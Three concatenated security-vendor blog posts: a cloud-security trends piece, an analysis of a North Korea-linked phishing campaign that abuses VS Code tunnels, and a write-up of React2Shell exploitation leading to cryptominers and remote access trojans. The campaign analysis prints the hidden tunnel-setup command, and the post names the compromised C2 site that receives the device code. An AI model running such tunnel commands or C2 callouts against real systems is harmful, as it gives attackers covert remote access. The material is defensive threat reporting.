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December 5, 2024

Protecting Your Hybrid Cloud: The Future of Cloud Security in 2025 and Beyond

In the coming years, cloud security will not only need to adapt to increasingly complex environments as ecosystems become more distributed, but also to rapidly evolving threats like supply chain attacks, advanced misconfiguration exploits, and credential theft. AI-powered cloud security tools can help security teams keep up.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Kellie Regan
Director, Product Marketing - Cloud Security
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05
Dec 2024

Cloud security in 2025

The future of cybersecurity is being shaped by the rapid adoption of cloud technologies.

As Gartner reports, “By 2027, more than 70% of enterprises will use industry cloud platforms to accelerate their business initiatives, up from less than 15% in 2023” [1].

As organizations continue to transition workloads and sensitive data to cloud environments, the complexity of securing distributed infrastructures grows. In 2025, cloud security will need to address increasingly sophisticated threats with innovative approaches to ensure resilience and trust.

Emerging threats in cloud security:

  1. Supply chain attacks in the cloud: Threat actors are targeting vulnerabilities in cloud networks, including third-party integrations and APIs. These attacks can have wide-spanning impacts, jeopardizing data security and possibly even compromising multiple organizations at once. As a result, robust detection and response capabilities are essential to identify and neutralize these attacks before they escalate.
  2. Advanced misconfiguration exploits: Misconfigurations remain a leading cause of cloud security breaches. Attackers are exploiting these vulnerabilities across dynamic infrastructures, underscoring the need for tools that provide continuous compliance validation in the future of cloud computing.
  3. Credential theft with evolving Tactics, Techniques, and Procedures (TTPs): While credential theft can result from phishing attacks, it can also happen through other means like malware, lateral movement, data breaches, weak and reused passwords, and social engineering. Adversarial innovation in carrying out these attacks requires security teams to use proactive defense strategies.
  4. Insider threats and privilege misuse: Inadequate monitoring of Identity and Access Management (IAM) in cloud security increases the risk of insider threats. The adoption of zero-trust architectures is key to mitigating these risks.
  5. Threats exploiting dynamic cloud scaling: Attackers take advantage of the dynamic nature of cloud computing, leveraging ephemeral workloads and autoscaling features to evade detection. This makes adaptive and AI-driven detection and response critical because it can more easily parse behavioral data that would take human security teams longer to investigate.

Where the industry is headed

In 2025, cloud infrastructures will become even more distributed and interconnected. Multi-cloud and hybrid models will dominate, so organizations will have to optimize workloads across platforms. At the same time, the growing adoption of edge computing and containerized applications will decentralize operations further. These trends demand security solutions that are agile, unified, and capable of adapting to rapid changes in cloud environments.

Emerging challenges in securing cloud environments

The transition to highly distributed and dynamic cloud ecosystems introduces the following key challenges:

  1. Limited visibility
    As organizations adopt multiple platforms and services, gaining a unified view of cloud architectures becomes increasingly difficult. This lack of visibility makes it unclear where sensitive data resides, which identities can access it and how, and if there are potential vulnerabilities in configurations and API infrastructure. Without end-to-end monitoring, detecting and mitigating threats in real time becomes nearly impossible.
  2. Complex environments
    The blend of public, private, and hybrid clouds, coupled with diverse service types (SaaS, PaaS, IaaS), creates a security landscape rife with configuration challenges. Each layer adds complexity, increasing the risk of misconfigurations, inconsistent policy enforcement, and gaps in defenses – all of which attackers may exploit.
  3. Dynamic nature of cloud
    Cloud infrastructures are designed to scale resources on demand, but this fluidity poses significant challenges to threat detection and incident response. Changes in configurations, ephemeral workloads, and fluctuating access points mean that on-prem network security mindsets cannot be applied to cloud security and many traditional cloud security approaches still fall short in addressing threats in real time.

Looking forward: Protecting the cloud in 2025 and beyond

Addressing these challenges requires innovation in visibility tools, AI-driven threat detection, and policy automation. The future of cloud security hinges on solutions that adapt to complexity and scale, ensuring organizations can securely navigate the growing demands of cloud-first operations.

Unsupervised Machine Learning (ML) enhances cloud security

Unlike supervised ML, which relies on labeled datasets, unsupervised ML identifies patterns and deviations in data without predefined rules, making it particularly effective in dynamic and unpredictable environments like the cloud. By analyzing the baseline behavior in cloud environments, such as typical user activity, network traffic, and resource utilization, unsupervised ML and supporting models can identify behavioral deviations linked to suspicious activity like unusual login times, irregular API calls, or unexpected data transfers, therefore flagging them as potential threats.

Learn more about how multi-layered ML improves real-time cloud detection and response in the data sheet “AI enhances cloud security.

Agent vs. Agentless deployment

The future of cloud security is increasingly focused on combining agent-based and agentless solutions to address the complexities of hybrid and multi-cloud environments.

This integrated approach enables organizations to align security measures with the specific risks and operational needs of their assets, ensuring comprehensive protection.

Agent-based systems provide deep monitoring and active threat mitigation, making them ideal for high-security environments like financial services and healthcare, where compliance and sensitive data require stringent safeguards.

Meanwhile, agentless systems offer broad visibility and scalability, seamlessly covering dynamic cloud resources without the need for extensive deployment efforts.

Together, a combination of these approaches ensures that all parts of the cloud environment are protected according to their unique risk profiles and functional requirements.

The growing adoption of this strategy highlights a shift toward adaptive, scalable, and efficient security solutions, reflecting the priorities of a rapidly evolving cloud landscape.

To learn more about how these technologies are reshaping cloud defenses, read the blog “Agent vs. Agentless Cloud Security: Why Deployment Methods Matter.”

Shifting responsibilities: security teams must get more comfortable with cloud mindsets

Traditionally, many organizations left cloud security to dedicated cloud teams. However, it is becoming more and more common for security teams to take on the responsibilities of securing the cloud. This is also true of organizations undergoing cloud migration and spinning up cloud infrastructure for the first time.

Notably, the usual approaches to other types of cybersecurity can’t be applied the exact same way to the cloud. With the inherent dynamism and flexibility of the cloud, the necessary security mindset differs greatly from those for the network or datacenters, with which security teams may be more familiar.

For example, IAM is both critical and distinct to cloud computing, and the associated policies, rules, and downstream impacts require intentional care. IAM rules not only govern people, but also non-human entities like service accounts, API keys, and OAuth tokens. These considerations are unique to cloud security, and established teams may need to learn new skills to reduce security gaps in the cloud.

Discover more about the teams that impact modern cloud security in the blog "Cloud Security Evolution: Why Security Teams are Taking the Lead."

The importance of visibility: The future of network security in the cloud

As organizations transition to cloud environments, they still have much of their data in on-premises networks, meaning that maintaining visibility across both on-premises and cloud environments is essential for securing critical assets and ensuring seamless operations. Without a unified security strategy, gaps between these infrastructures and the teams which manage them can leave organizations vulnerable to cyber-attacks.

Shared visibility across both on-premises and cloud environments unifies SecOps and DevOps teams, enabling them to generate actionable insights and develop a cohesive approach. This alignment helps confidently mitigate risks across the cloud and network while streamlining workflows and accelerating the cloud migration journey—all without compromising security or operational continuity.

Read more about the importance of end-to-end visibility in the modern threat landscape in the blog "Breaking Silos: Why Unified Security is Critical in Hybrid World."

Cloud security ciso's guide screenshot

Ready to transform your cloud security approach? Download the CISO's Guide to Cloud Security now!

References:

[1] Gartner, June 5, 2024, “The Expanding Enterprise Investment in Cloud Security,” Available at: https://www.gartner.com/en/newsroom/press-releases/2024-06-05-the-expanding-enterprise-investment-in-cloud-security

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Kellie Regan
Director, Product Marketing - Cloud Security

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January 21, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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